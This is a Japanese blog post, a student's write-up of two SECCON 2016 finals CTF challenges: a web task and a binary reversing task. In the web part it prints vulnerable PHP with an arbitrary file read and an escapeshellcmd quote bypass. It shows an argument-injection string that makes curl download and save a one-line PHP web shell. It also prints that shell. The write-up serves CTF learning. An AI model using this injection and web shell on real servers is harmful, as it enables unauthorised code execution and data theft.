ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

SECCON 2016 FINALに行ってきた

2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。

CVE-2016-10033(みたいななまえ)

jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。 こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては “under construction” だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。

<?php
// by KeigoYAMAZAKI, 2017.01.23-
session_start();
if(! isset($_SESSION['css'])) {
  $_SESSION['css'] = './main.css';
}
if(isset($_GET['css'])) {
  $_SESSION['css'] = $_GET['css'];
}
if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
} elseif($_GET['menu'] == 'maintenance') {
  ?>
    <form action="?" method="GET">
    <input type="text" name="host" value="127.0.0.1">
    <input type="submit" name="tool" value="nmap">
    <input type="submit" name="tool" value="curl">
    </form>
  <?php
} elseif($_GET['tool'] == 'nmap') {
  $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} else {
  ?>
    <li><a href="?css=./main.css">main.css</a>
    <li><a href="?css=./main-test.css">main-test.css</a>
  <?php
}
?>

というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、師匠にはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました(これは私も気付ける話で、 http://blog.tokumaru.org/2012/04/php-escapeshellcmd-chase.html あたりを読んだことがありました)。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。

<?php

system($_GET['takoyaki']);

これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/* みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033} を得ました。

これだけにものすごい時間を取られて:(

welcome

jeopardyのrev問題でした。バイナリ https://transfer.sh/8vc1x/welcome (このさいとを教えてくれた @nkpoid くんありがとう) を渡されて、問題文は

./welcome SECCON{*********}
LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}

みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、師匠に聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語ソースコードにしてみました。

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char**argv) {
    int d = 0;
    char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
    int c = 0;
    char*buf;

    c = strlen(argv[1]);
    //while (c < strlen(argv[1])) {
    // a = argv[1][c];
    // esi = a;
    // c++;
    //}


    buf = (char*)malloc(strlen(argv[1]) << 5 + 1);
    c = 0;
    int i = 0;
    char *p;
    time_t t;
    int off;
    while (c < strlen(argv[1])) {
        i = 0;
        while (i <= 15) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        buf[d] = argv[1][c];
        d++;
        i = 0;
        while (i <= 14) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        c++;
    }
    buf[d] = 0;
    puts(buf);
}

しかしこれを実行しても welcome と同じ結果にはなりませんでした(welcomeをちゃんと解析した人がいたらどうなっていたのか教えてください)。こんな感じになります。

$ ./hoge SECCON{NOT_A_FLAG}
YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY

このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。

そこでYYYY……をaとして a[::16] としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY} になり、 a[::16][1::2] すると SECCON{NOT_A_FLAG} とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016} が得られました。

writeup以外のこと

数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。

学生チームとそれ以外のチームの力量差がありすぎてだめですね(dodododoは強かったのですごい)。まるで手が出ないので辛いし、終わったあとの懇親会でも話ができない(特に外国のチームなんかだと、話題は競技のことしかないのにレベルが違いすぎて話にならない)。自分が雑魚なのを棚に上げて言えば別れてたほうが心が辛くないです(まるで歯が立たなくて上を見るだけになったので、そういう意味ではいい経験だった)。

懇親会で高知高専の佐藤先生と少しだけお話した。高専セクコンという大会の運営とかをされていて高専でセキュリティまわりに尽力している人というイメージ。高専セクコンはとても良い試みだったし今年も開催してほしいのでその話をちょっとしたことをここに改めて書いておきます。

もっと精進しなければならない(画像は、今回の名札。立ち上がるときに机なんかにひっかかるインシデントがあったので硬い素材は名札に向かないことがわかった)。